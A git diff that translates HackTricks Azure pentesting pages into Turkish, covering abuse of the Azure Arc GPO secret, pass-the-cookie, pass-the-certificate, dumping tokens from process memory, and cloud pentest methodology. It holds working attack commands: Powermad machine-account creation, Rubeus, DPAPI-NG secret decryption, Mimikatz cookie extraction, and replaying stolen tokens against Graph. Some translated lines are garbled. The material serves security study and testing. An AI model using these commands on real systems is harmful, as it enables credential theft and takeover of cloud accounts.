-Microsoft Graph PowerShell is a cross-platform SDK that enables access to all Microsoft Graph APIs, including services like SharePoint, Exchange, and Outlook, using a single endpoint. It supports PowerShell 7+, modern authentication via MSAL, external identities, and advanced queries. With a focus on least privilege access, it ensures secure operations and receives regular updates to align with the latest Microsoft Graph API features. +Microsoft Graph PowerShell, tek bir uç nokta kullanarak SharePoint, Exchange ve Outlook gibi hizmetler de dahil olmak üzere tüm Microsoft Graph API'lerine erişim sağlayan çok platformlu bir SDK'dır. PowerShell 7+ desteği, MSAL aracılığıyla modern kimlik doğrulama, dış kimlikler ve gelişmiş sorgular sunar. En az ayrıcalık erişimine odaklanarak, güvenli işlemleri garanti eder ve en son Microsoft Graph API özellikleriyle uyumlu hale gelmek için düzenli güncellemeler alır. -Follow this link for the [**installation instructions**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation). +[**kurulum talimatları**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation) için bu bağlantıyı takip edin. -Commands in Microsoft Graph PowerShell are structured like: `-Mg ` +Microsoft Graph PowerShell'deki komutlar şu şekilde yapılandırılmıştır: `-Mg ` -#### Debug Microsoft Graph PowerShell - -Using the parameter **`-Debug`** it's possible to see all the requests the tool is sending: +#### Microsoft Graph PowerShell Hatasını Ayıklama +**`-Debug`** parametresini kullanarak aracın gönderdiği tüm istekleri görmek mümkündür: ```bash Get-MgUser -Debug ``` - ### ~~**AzureAD Powershell**~~ -The Azure Active Directory (AD) module, now **deprecated**, is part of Azure PowerShell for managing Azure AD resources. It provides cmdlets for tasks like managing users, groups, and application registrations in Entra ID. +Azure Active Directory (AD) modülü, artık **kaldırılmıştır**, Azure AD kaynaklarını yönetmek için Azure PowerShell'in bir parçasıdır. Entra ID'de kullanıcıları, grupları ve uygulama kayıtlarını yönetmek gibi görevler için cmdlet'ler sağlar. > [!TIP] -> This is replaced by Microsoft Graph PowerShell - -Follow this link for the [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD). - - - +> Bu, Microsoft Graph PowerShell ile değiştirilmiştir. +[**kurulum talimatları**](https://www.powershellgallery.com/packages/AzureAD) için bu bağlantıyı takip edin. diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md index e53ceb412..fdaf15588 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md @@ -2,19 +2,18 @@ {{#include ../../../banners/hacktricks-training.md}} -### Identifying the Issues +### Sorunların Belirlenmesi -Azure Arc allows for the integration of new internal servers (joined domain servers) into Azure Arc using the Group Policy Object method. To facilitate this, Microsoft provides a deployment toolkit necessary for initiating the onboarding procedure. Inside the ArcEnableServerGroupPolicy.zip file, the following scripts can be found: DeployGPO.ps1, EnableAzureArc.ps1, and AzureArcDeployment.psm1. +Azure Arc, yeni iç sunucuların (katılmış alan sunucuları) Azure Arc ile Entegrasyonunu Grup Politika Nesnesi yöntemi kullanarak sağlar. Bunu kolaylaştırmak için Microsoft, onboarding prosedürünü başlatmak için gerekli bir dağıtım araç seti sunar. ArcEnableServerGroupPolicy.zip dosyası içinde şu betikler bulunur: DeployGPO.ps1, EnableAzureArc.ps1 ve AzureArcDeployment.psm1. -When executed, the DeployGPO.ps1 script performs the following actions: +DeployGPO.ps1 betiği çalıştırıldığında, aşağıdaki işlemleri gerçekleştirir: -1. Creates the Azure Arc Servers Onboarding GPO within the local domain. -2. Copies the EnableAzureArc.ps1 onboarding script to the designated network share created for the onboarding process, which also contains the Windows installer package. +1. Yerel alanda Azure Arc Sunucuları Onboarding GPO'sunu oluşturur. +2. EnableAzureArc.ps1 onboarding betiğini, onboarding süreci için oluşturulan belirlenen ağ paylaşımına kopyalar; bu paylaşım ayrıca Windows yükleyici paketini de içerir. -When running this script, sys admins need to provide two main parameters: **ServicePrincipalId** and **ServicePrincipalClientSecret**. Additionally, it requires other parameters such as the domain, the FQDN of the server hosting the share, and the share name. Further details such as the tenant ID, resource group, and other necessary information must also be provided to the script. - -An encrypted secret is generated in the AzureArcDeploy directory on the specified share using DPAPI-NG encryption. The encrypted secret is stored in a file named encryptedServicePrincipalSecret. Evidence of this can be found in the DeployGPO.ps1 script, where the encryption is performed by calling ProtectBase64 with $descriptor and $ServicePrincipalSecret as inputs. The descriptor consists of the Domain Computer and Domain Controller group SIDs, ensuring that the ServicePrincipalSecret can only be decrypted by the Domain Controllers and Domain Computers security groups, as noted in the script comments. +Bu betiği çalıştırırken, sistem yöneticileri iki ana parametre sağlamalıdır: **ServicePrincipalId** ve **ServicePrincipalClientSecret**. Ayrıca, alan, paylaşımı barındıran sunucunun FQDN'si ve paylaşım adı gibi diğer parametreler de gereklidir. Kiracı kimliği, kaynak grubu ve diğer gerekli bilgiler gibi daha fazla ayrıntı da betiğe sağlanmalıdır. +Belirtilen paylaşımda AzureArcDeploy dizininde DPAPI-NG şifrelemesi kullanılarak şifrelenmiş bir gizli anahtar oluşturulur. Şifrelenmiş gizli anahtar, encryptedServicePrincipalSecret adlı bir dosyada saklanır. Bunun kanıtı, DeployGPO.ps1 betiğinde, şifrelemenin $descriptor ve $ServicePrincipalSecret girdileri ile ProtectBase64 çağrılarak gerçekleştirildiği yerde bulunabilir. Tanımlayıcı, Alan Bilgisayarı ve Alan Denetleyici grup SIDs'lerini içerir ve bu, ServicePrincipalSecret'ın yalnızca Alan Denetleyicileri ve Alan Bilgisayarları güvenlik grupları tarafından şifresinin çözülebileceğini garanti eder; bu, betik yorumlarında belirtilmiştir. ```powershell # Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups $DomainComputersSID = "SID=" + $DomainComputersSID @@ -23,24 +22,20 @@ $descriptor = @($DomainComputersSID, $DomainControllersSID) -join " OR " Import-Module $PSScriptRoot\AzureArcDeployment.psm1 $encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSecret) ``` - ### Exploit -We have the follow conditions: +Aşağıdaki koşullara sahibiz: -1. We have successfully penetrated the internal network. -2. We have the capability to create or assume control of a computer account within Active Directory. -3. We have discovered a network share containing the AzureArcDeploy directory. - -There are several methods to obtain a machine account within an AD environment. One of the most common is exploiting the machine account quota. Another method involves compromising a machine account through vulnerable ACLs or various other misconfigurations. +1. İç ağa başarıyla sızdık. +2. Active Directory içinde bir bilgisayar hesabı oluşturma veya kontrol etme yeteneğine sahibiz. +3. AzureArcDeploy dizinini içeren bir ağ paylaşımını keşfettik. +AD ortamında bir makine hesabı elde etmenin birkaç yöntemi vardır. En yaygın olanlardan biri makine hesabı kotasını istismar etmektir. Diğer bir yöntem, savunmasız ACL'ler veya çeşitli diğer yanlış yapılandırmalar aracılığıyla bir makine hesabını tehlikeye atmaktır. ```powershell Import-MKodule powermad New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose ``` - -Once a machine account is obtained, it is possible to authenticate using this account. We can either use the runas.exe command with the netonly flag or use pass-the-ticket with Rubeus.exe. - +Bir makine hesabı elde edildikten sonra, bu hesapla kimlik doğrulamak mümkündür. Ya netonly bayrağı ile runas.exe komutunu kullanabiliriz ya da Rubeus.exe ile pass-the-ticket yöntemini kullanabiliriz. ```powershell runas /user:fake01$ /netonly powershell ``` @@ -48,9 +43,7 @@ runas /user:fake01$ /netonly powershell ```powershell .\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr ``` - -By having the TGT for our computer account stored in memory, we can use the following script to decrypt the service principal secret. - +Bellek içinde bilgisayar hesabımız için TGT'ye sahip olarak, hizmet prensip gizli anahtarını şifre çözmek için aşağıdaki betiği kullanabiliriz. ```powershell Import-Module .\AzureArcDeployment.psm1 @@ -59,17 +52,12 @@ $encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedSer $ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret) $ebs ``` +Alternatif olarak, [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG) kullanabiliriz. -Alternatively, we can use [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG). +Bu noktada, şifrelenmişServicePrincipalSecret dosyasıyla aynı ağ paylaşımında saklanan ArcInfo.json dosyasından Azure'a bağlanmak için gereken kalan bilgileri toplayabiliriz. Bu dosya, TenantId, servicePrincipalClientId, ResourceGroup ve daha fazlası gibi ayrıntıları içerir. Bu bilgilerle, Azure CLI kullanarak ele geçirilmiş hizmet ilkesi olarak kimlik doğrulaması yapabiliriz. -At this point, we can gather the remaining information needed to connect to Azure from the ArcInfo.json file, which is stored on the same network share as the encryptedServicePrincipalSecret file. This file contains details such as: TenantId, servicePrincipalClientId, ResourceGroup, and more. With this information, we can use Azure CLI to authenticate as the compromised service principal. - -## References +## Referanslar - [https://xybytes.com/azure/Abusing-Azure-Arc/](https://xybytes.com/azure/Abusing-Azure-Arc/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md index 2ddcbb0a5..43c947df9 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md @@ -2,42 +2,38 @@ {{#include ../../../banners/hacktricks-training.md}} -## Local Token Storage and Security Considerations +## Yerel Token Depolama ve Güvenlik Hususları -### Azure CLI (Command-Line Interface) +### Azure CLI (Komut Satırı Arayüzü) -Tokens and sensitive data are stored locally by Azure CLI, raising security concerns: +Tokenlar ve hassas veriler Azure CLI tarafından yerel olarak depolanır, bu da güvenlik endişeleri doğurur: -1. **Access Tokens**: Stored in plaintext within `accessTokens.json` located at `C:\Users\\.Azure`. -2. **Subscription Information**: `azureProfile.json`, in the same directory, holds subscription details. -3. **Log Files**: The `ErrorRecords` folder within `.azure` might contain logs with exposed credentials, such as: - - Executed commands with credentials embedded. - - URLs accessed using tokens, potentially revealing sensitive information. +1. **Erişim Tokenları**: `C:\Users\\.Azure` konumundaki `accessTokens.json` içinde düz metin olarak saklanır. +2. **Abonelik Bilgileri**: Aynı dizinde bulunan `azureProfile.json`, abonelik detaylarını içerir. +3. **Log Dosyaları**: `.azure` içindeki `ErrorRecords` klasörü, aşağıdakiler gibi ifşa edilmiş kimlik bilgileri içeren loglar barındırabilir: +- Kimlik bilgileri gömülü olarak yürütülen komutlar. +- Tokenlar kullanılarak erişilen URL'ler, hassas bilgileri açığa çıkarabilir. ### Azure PowerShell -Azure PowerShell also stores tokens and sensitive data, which can be accessed locally: +Azure PowerShell da tokenlar ve hassas veriler depolar, bunlara yerel olarak erişilebilir: -1. **Access Tokens**: `TokenCache.dat`, located at `C:\Users\\.Azure`, stores access tokens in plaintext. -2. **Service Principal Secrets**: These are stored unencrypted in `AzureRmContext.json`. -3. **Token Saving Feature**: Users have the ability to persist tokens using the `Save-AzContext` command, which should be used cautiously to prevent unauthorized access. +1. **Erişim Tokenları**: `C:\Users\\.Azure` konumundaki `TokenCache.dat`, erişim tokenlarını düz metin olarak saklar. +2. **Servis Prensip Gizli Anahtarları**: Bunlar `AzureRmContext.json` içinde şifrelenmemiş olarak saklanır. +3. **Token Kaydetme Özelliği**: Kullanıcılar, yetkisiz erişimi önlemek için dikkatli bir şekilde kullanılmalıdır. -## Automatic Tools to find them +## Onları Bulmak için Otomatik Araçlar - [**Winpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe) - [**Get-AzurePasswords.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/AzureRM/Get-AzurePasswords.ps1) -## Security Recommendations +## Güvenlik Önerileri -Considering the storage of sensitive data in plaintext, it's crucial to secure these files and directories by: +Hassas verilerin düz metin olarak depolanmasını göz önünde bulundurarak, bu dosyaları ve dizinleri güvence altına almak için: -- Limiting access rights to these files. -- Regularly monitoring and auditing these directories for unauthorized access or unexpected changes. -- Employing encryption for sensitive files where possible. -- Educating users about the risks and best practices for handling such sensitive information. +- Bu dosyalara erişim haklarını sınırlamak. +- Yetkisiz erişim veya beklenmedik değişiklikler için bu dizinleri düzenli olarak izlemek ve denetlemek. +- Mümkünse hassas dosyalar için şifreleme kullanmak. +- Kullanıcıları bu tür hassas bilgilerin işlenmesiyle ilgili riskler ve en iyi uygulamalar hakkında eğitmek. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md index f2a5f2f4d..d1c6c9415 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md @@ -4,40 +4,32 @@ ## Pass the Certificate (Azure) -In Azure joined machines, it's possible to authenticate from one machine to another using certificates that **must be issued by Azure AD CA** for the required user (as the subject) when both machines support the **NegoEx** authentication mechanism. +Azure'a bağlı makinelerde, her iki makine de **NegoEx** kimlik doğrulama mekanizmasını destekliyorsa, bir makineden diğerine kimlik doğrulamak için **Azure AD CA** tarafından gerekli kullanıcı için (konu olarak) verilmiş sertifikalar kullanılabilir. -In super simplified terms: +Aşırı basitleştirilmiş terimlerle: -- The machine (client) initiating the connection **needs a certificate from Azure AD for a user**. -- Client creates a JSON Web Token (JWT) header containing PRT and other details, sign it using the Derived key (using the session key and the security context) and **sends it to Azure AD** -- Azure AD verifies the JWT signature using client session key and security context, checks validity of PRT and **responds** with the **certificate**. +- Bağlantıyı başlatan makinenin (istemci) **bir kullanıcı için Azure AD'den bir sertifika** alması gerekir. +- İstemci, PRT ve diğer ayrıntıları içeren bir JSON Web Token (JWT) başlığı oluşturur, bunu Türev anahtarı ile imzalar (oturum anahtarı ve güvenlik bağlamını kullanarak) ve **Azure AD'ye gönderir**. +- Azure AD, istemci oturum anahtarını ve güvenlik bağlamını kullanarak JWT imzasını doğrular, PRT'nin geçerliliğini kontrol eder ve **sertifika** ile **yanıtlar**. -In this scenario and after grabbing all the info needed for a [**Pass the PRT**](pass-the-prt.md) attack: +Bu senaryoda ve [**Pass the PRT**](pass-the-prt.md) saldırısı için gerekli tüm bilgileri aldıktan sonra: -- Username -- Tenant ID +- Kullanıcı adı +- Kiracı ID - PRT -- Security context -- Derived Key - -It's possible to **request P2P certificate** for the user with the tool [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:** +- Güvenlik bağlamı +- Türev Anahtar +Kullanıcı için **P2P sertifikası** talep etmek mümkündür, bu araçla [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:** ```bash RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE] ``` - -The certificates will last the same as the PRT. To use the certificate you can use the python tool [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) that will **authenticate** to the remote machine, run **PSEXEC** and **open a CMD** on the victim machine. This will allow us to use Mimikatz again to get the PRT of another user. - +Sertifikalar, PRT ile aynı süre boyunca geçerli olacaktır. Sertifikayı kullanmak için, uzaktaki makineye **authenticate** olacak, **PSEXEC** çalıştıracak ve kurban makinesinde **CMD** açacak python aracı [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) kullanabilirsiniz. Bu, başka bir kullanıcının PRT'sini almak için Mimikatz'ı tekrar kullanmamıza olanak tanıyacaktır. ```bash Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP ``` +## Referanslar -## References - -- For more details about how Pass the Certificate works check the original post [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597) +- Pass the Certificate'ın nasıl çalıştığı hakkında daha fazla bilgi için orijinal gönderiyi kontrol edin [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md index f6695c40a..38b2af0fc 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md @@ -2,40 +2,34 @@ {{#include ../../../banners/hacktricks-training.md}} -## Why Cookies? +## Neden Çerezler? -Browser **cookies** are a great mechanism to **bypass authentication and MFA**. Because the user has already authenticated in the application, the session **cookie** can just be used to **access data** as that user, without needing to re-authenticate. +Tarayıcı **çerezleri**, **kimlik doğrulama ve MFA**'yı **bypass** etmek için harika bir mekanizmadır. Kullanıcı uygulamada zaten kimlik doğrulaması yapmış olduğundan, oturum **çerezi** bu kullanıcı olarak **verilere erişmek** için kullanılabilir, yeniden kimlik doğrulaması yapmaya gerek kalmadan. -You can see where are **browser cookies located** in: +**Tarayıcı çerezlerinin nerede bulunduğunu** görebilirsiniz: {{#ref}} https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts?q=browse#google-chrome {{#endref}} -## Attack +## Saldırı -The challenging part is that those **cookies are encrypted** for the **user** via the Microsoft Data Protection API (**DPAPI**). This is encrypted using cryptographic [keys tied to the user](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) the cookies belong to. You can find more information about this in: +Zorlayıcı kısım, bu **çerezlerin** Microsoft Veri Koruma API'si (**DPAPI**) aracılığıyla **kullanıcı** için şifrelenmiş olmasıdır. Bu, çerezlerin ait olduğu kullanıcıya bağlı [şifreleme anahtarları](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) kullanılarak şifrelenmiştir. Bununla ilgili daha fazla bilgi bulabilirsiniz: {{#ref}} https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords {{#endref}} -With Mimikatz in hand, I am able to **extract a user’s cookies** even though they are encrypted with this command: - +Mimikatz elimdeyken, bu komutla **bir kullanıcının çerezlerini** şifreli olmalarına rağmen **çıkartabilirim**: ```bash mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit ``` +Azure için, **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`** ve **`ESTSAUTHLIGHT`** dahil olmak üzere kimlik doğrulama çerezlerine önem veriyoruz. Bunlar, kullanıcının son zamanlarda Azure'da aktif olmasından dolayı oradadır. -For Azure, we care about the authentication cookies including **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`**, and **`ESTSAUTHLIGHT`**. Those are there because the user has been active on Azure lately. - -Just navigate to login.microsoftonline.com and add the cookie **`ESTSAUTHPERSISTENT`** (generated by “Stay Signed In” option) or **`ESTSAUTH`**. And you will be authenticated. +Sadece login.microsoftonline.com adresine gidin ve **`Stay Signed In`** seçeneğiyle oluşturulan **`ESTSAUTHPERSISTENT`** çerezini veya **`ESTSAUTH`** çerezini ekleyin. Ve kimlik doğrulamanız yapılacaktır. ## References - [https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/](https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md index 28bc5b415..553b466b1 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md @@ -2,10 +2,6 @@ {{#include ../../../banners/hacktricks-training.md}} -**Check:** [**https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/**](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/) +**Kontrol Et:** [**https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/**](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md index a79c7a659..6076e5deb 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md @@ -2,10 +2,6 @@ {{#include ../../../banners/hacktricks-training.md}} -**Chec the post in** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) although another post explaining the same can be found in [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) +**Gönderiyi kontrol edin** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) başka bir gönderi ise [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) adresinde bulunabilir. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md index 1ba819b3a..2be27db5a 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md @@ -2,16 +2,15 @@ {{#include ../../../banners/hacktricks-training.md}} -## **Basic Information** +## **Temel Bilgiler** -As explained in [**this video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), some Microsoft software synchronized with the cloud (Excel, Teams...) might **store access tokens in clear-text in memory**. So just **dumping** the **memory** of the process and **grepping for JWT tokens** might grant you access over several resources of the victim in the cloud bypassing MFA. +[**bu videoda**](https://www.youtube.com/watch?v=OHKZkXC4Duw) açıklandığı gibi, bulut ile senkronize olan bazı Microsoft yazılımları (Excel, Teams...) **erişim tokenlerini bellek içinde düz metin olarak saklayabilir**. Bu nedenle, sadece **işlemin bellek dökümünü almak** ve **JWT tokenleri için grep yapmak**, MFA'yı atlayarak kurbanın buluttaki çeşitli kaynaklarına erişim sağlayabilir. -Steps: - -1. Dump the excel processes synchronized with in EntraID user with your favourite tool. -2. Run: `string excel.dmp | grep 'eyJ0'` and find several tokens in the output -3. Find the tokens that interest you the most and run tools over them: +Adımlar: +1. EntraID kullanıcısına senkronize olan excel işlemlerinin dökümünü favori aracınızla alın. +2. `string excel.dmp | grep 'eyJ0'` komutunu çalıştırın ve çıktıda birkaç token bulun. +3. Sizi en çok ilgilendiren tokenleri bulun ve bunlar üzerinde araçlar çalıştırın: ```bash # Check the identity of the token curl -s -H "Authorization: Bearer " https://graph.microsoft.com/v1.0/me | jq @@ -31,11 +30,6 @@ curl -s -H "Authorization: Bearer " 'https://graph.microsoft.com/v1.0/sit ┌──(magichk㉿black-pearl)-[~] └─$ curl -o -L -H "Authorization: Bearer " '<@microsoft.graph.downloadUrl>' ``` - -**Note that these kind of access tokens can be also found inside other processes.** +**Bu tür erişim belirteçlerinin diğer süreçlerin içinde de bulunabileceğini unutmayın.** {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md index 39ee71d6c..c7aa79a30 100644 --- a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md +++ b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md @@ -2,10 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -To start the tests you should have access with a user with **Reader permissions over the subscription** and **Global Reader role in AzureAD**. If even in that case you are **not able to access the content of the Storage accounts** you can fix it with the **role Storage Account Contributor**. +Testlere başlamak için **abonelik üzerinde Reader izinlerine** ve **AzureAD'de Global Reader rolüne** sahip bir kullanıcı ile erişiminiz olmalıdır. Hala **Storage hesaplarının içeriğine erişemiyorsanız**, bunu **Storage Account Contributor rolü** ile düzeltebilirsiniz. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md index 0be67db54..e6857eeb0 100644 --- a/src/pentesting-cloud/pentesting-cloud-methodology.md +++ b/src/pentesting-cloud/pentesting-cloud-methodology.md @@ -4,45 +4,44 @@
-## Basic Methodology +## Temel Metodoloji -Each cloud has its own peculiarities but in general there are a few **common things a pentester should check** when testing a cloud environment: +Her bulutun kendine özgü özellikleri vardır, ancak genel olarak bir pentester'ın bulut ortamını test ederken kontrol etmesi gereken birkaç **ortak şey** vardır: -- **Benchmark checks** - - This will help you **understand the size** of the environment and **services used** - - It will allow you also to find some **quick misconfigurations** as you can perform most of this tests with **automated tools** -- **Services Enumeration** - - You probably won't find much more misconfigurations here if you performed correctly the benchmark tests, but you might find some that weren't being looked for in the benchmark test. - - This will allow you to know **what is exactly being used** in the cloud env - - This will help a lot in the next steps -- **Check exposed assets** - - This can be done during the previous section, you need to **find out everything that is potentially exposed** to the Internet somehow and how can it be accessed. - - Here I'm taking **manually exposed infrastructure** like instances with web pages or other ports being exposed, and also about other **cloud managed services that can be configured** to be exposed (such as DBs or buckets) - - Then you should check **if that resource can be exposed or not** (confidential information? vulnerabilities? misconfigurations in the exposed service?) -- **Check permissions** - - Here you should **find out all the permissions of each role/user** inside the cloud and how are they used - - Too **many highly privileged** (control everything) accounts? Generated keys not used?... Most of these check should have been done in the benchmark tests already - - If the client is using OpenID or SAML or other **federation** you might need to ask them for further **information** about **how is being each role assigned** (it's not the same that the admin role is assigned to 1 user or to 100) - - It's **not enough to find** which users has **admin** permissions "\*:\*". There are a lot of **other permissions** that depending on the services used can be very **sensitive**. - - Moreover, there are **potential privesc** ways to follow abusing permissions. All this things should be taken into account and **as much privesc paths as possible** should be reported. -- **Check Integrations** - - It's highly probably that **integrations with other clouds or SaaS** are being used inside the cloud env. - - For **integrations of the cloud you are auditing** with other platform you should notify **who has access to (ab)use that integration** and you should ask **how sensitive** is the action being performed.\ - For example, who can write in an AWS bucket where GCP is getting data from (ask how sensitive is the action in GCP treating that data). - - For **integrations inside the cloud you are auditing** from external platforms, you should ask **who has access externally to (ab)use that integration** and check how is that data being used.\ - For example, if a service is using a Docker image hosted in GCR, you should ask who has access to modify that and which sensitive info and access will get that image when executed inside an AWS cloud. +- **Benchmark kontrolleri** +- Bu, **ortamın boyutunu** ve **kullanılan hizmetleri** anlamanıza yardımcı olacaktır. +- Ayrıca, bu testlerin çoğunu **otomatik araçlarla** gerçekleştirebileceğiniz için bazı **hızlı yanlış yapılandırmaları** bulmanızı sağlar. +- **Hizmetlerin Sayımı** +- Benchmark testlerini doğru bir şekilde gerçekleştirdiyseniz burada çok fazla yanlış yapılandırma bulamayabilirsiniz, ancak benchmark testinde bakılmayan bazılarını bulabilirsiniz. +- Bu, bulut ortamında **tam olarak neyin kullanıldığını** bilmenizi sağlar. +- Bu, sonraki adımlarda çok yardımcı olacaktır. +- **Açık varlıkları kontrol et** +- Bu, önceki bölüm sırasında yapılabilir, potansiyel olarak **İnternete açık olan her şeyi** bulmanız ve nasıl erişilebileceğini anlamanız gerekir. +- Burada, web sayfaları veya diğer açık portlara sahip örnekler gibi **manuel olarak açılmış altyapıyı** ve ayrıca **açık hale getirilebilecek diğer bulut yönetilen hizmetleri** (örneğin DB'ler veya bucket'lar) ele alıyorum. +- Sonra, **bu kaynağın açılıp açılamayacağını** kontrol etmelisiniz (gizli bilgi mi? zafiyetler mi? açığa çıkan hizmetteki yanlış yapılandırmalar mı?). +- **İzinleri kontrol et** +- Burada, bulut içindeki her rol/kullanıcının **tüm izinlerini** bulmalı ve bunların nasıl kullanıldığını anlamalısınız. +- Çok **yüksek ayrıcalıklı** (her şeyi kontrol eden) hesaplar mı var? Kullanılmayan anahtarlar mı?... Bu kontrollerin çoğu zaten benchmark testlerinde yapılmış olmalıdır. +- Müşteri OpenID veya SAML veya diğer **federasyon** kullanıyorsa, onlardan **her rolün nasıl atandığı** hakkında daha fazla **bilgi** istemeniz gerekebilir (admin rolünün 1 kullanıcıya mı yoksa 100 kullanıcıya mı atandığı aynı değildir). +- 